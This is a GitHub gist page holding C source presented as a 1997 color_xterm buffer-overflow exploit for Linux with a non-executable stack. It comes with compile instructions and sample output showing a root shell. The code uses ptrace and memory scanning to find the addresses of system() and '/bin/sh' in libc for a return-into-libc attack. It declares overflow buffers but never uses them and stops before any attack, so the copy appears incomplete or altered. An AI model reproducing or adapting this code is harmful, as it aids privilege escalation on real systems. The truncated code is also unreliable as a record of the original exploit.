-
-
Save packz/2665428 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* color_xterm buffer overflow exploit for Linux with non-executable stack | |
* Copyright (c) 1997 by Solar Designer | |
* | |
* Compile: | |
* gcc cx.c -o cx -L/usr/X11/lib \ | |
* `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//` | |
* | |
* Run: | |
* $ ./cx | |
* system() found at: 401553b0 | |
* "/bin/sh" found at: 401bfa3d | |
* bash# exit | |
* Segmentation fault | |
*/ | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <stdlib.h> | |
#include <signal.h> | |
#include <setjmp.h> | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/user.h> | |
#define SIZE1 1200 /* Amount of data to overflow with */ | |
#define ALIGNMENT1 0 /* 0..3 */ | |
#define OFFSET 22000 /* Structure array offset */ | |
#define SIZE2 16000 /* Structure array size */ | |
#define ALIGNMENT2 5 /* 0, 4, 1..3, 5..7 */ | |
#define SIZE3 SIZE2 | |
#define ALIGNMENT3 (ALIGNMENT2 & 3) | |
#define ADDR_MASK 0xFF000000 | |
char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2]; | |
int *ptr; | |
int pid, pc, shell, step; | |
int started = 0; | |
jmp_buf env; | |
void handler() { | |
started++; | |
} | |
/* SIGSEGV handler, to search in libc */ | |
void fault() { | |
if (step < 0) { | |
/* Change the search direction */ | |
longjmp(env, 1); | |
} else { | |
/* The search failed in both directions */ | |
puts("\"/bin/sh\" not found, bad luck"); | |
exit(1); | |
} | |
} | |
void error(char *fn) { | |
perror(fn); | |
if (pid > 0) kill(pid, SIGKILL); | |
exit(1); | |
} | |
int nz(int value) { | |
if (!(value & 0xFF)) value |= 8; | |
if (!(value & 0xFF00)) value |= 0x100; | |
return value; | |
} | |
void main() { | |
/* | |
* A portable way to get the stack pointer value; why do other exploits use | |
* an assembly instruction here?! | |
*/ | |
int sp = (int)&sp; | |
signal(SIGUSR1, handler); | |
/* Create a child process to trace */ | |
if ((pid = fork()) < 0) error("fork"); | |
if (!pid) { | |
/* Send the parent a signal, so it starts tracing */ | |
kill(getppid(), SIGUSR1); | |
/* A loop since the parent may not start tracing immediately */ | |
while (1) system(""); | |
} | |
/* Wait until the child tells us the next library call will be system() */ | |
while (!started); | |
if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH"); | |
struct user_regs_struct regs; | |
/* Single step the child until it gets out of system() */ | |
do { | |
waitpid(pid, NULL, WUNTRACED); | |
pc = ptrace(PTRACE_GETREGS, pid, NULL, ®s); | |
if (pc == -1) error("PTRACE_PEEKUSR"); | |
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP"); | |
fprintf(stderr, "0x%x\r", regs.eip); | |
} while ((regs.eip & ADDR_MASK) != ((int)main & ADDR_MASK)); | |
/* Single step the child until it calls system() again */ | |
do { | |
waitpid(pid, NULL, WUNTRACED); | |
pc = ptrace(PTRACE_GETREGS, pid, NULL, ®s); | |
if (pc == -1) error("PTRACE_PEEKUSR"); | |
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP"); | |
} while ((regs.eip & ADDR_MASK) == ((int)main & ADDR_MASK)); | |
/* Kill the child, we don't need it any more */ | |
if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL"); | |
pid = 0; | |
printf("system() found at: %08x\n", regs.eip); | |
/* Let's hope there's an extra NOP if system() is 256 byte aligned */ | |
if (!(regs.eip & 0xFF)) | |
if (*(unsigned char *)--regs.eip != 0x90) regs.eip = 0; | |
/* There's no easy workaround for these (except for using another function) */ | |
if (!(regs.eip & 0xFF00) || !(regs.eip & 0xFF0000) || !(regs.eip & 0xFF000000)) { | |
puts("Zero bytes in address, bad luck"); | |
exit(1); | |
} | |
/* | |
* Search for a "/bin/sh" in libc until we find a copy with no zero bytes | |
* in its address. To avoid specifying the actual address that libc is | |
* mmap()ed to we search from the address of system() in both directions | |
* until a SIGSEGV is generated. | |
*/ | |
if (setjmp(env)) step = 1; else step = -1; | |
shell = regs.eip; | |
signal(SIGSEGV, fault); | |
do | |
while (memcmp((void *)shell, "/bin/sh", 8)) shell += step; | |
while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000)); | |
signal(SIGSEGV, SIG_DFL); | |
printf("\"/bin/sh\" found at: %08x\n", shell); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment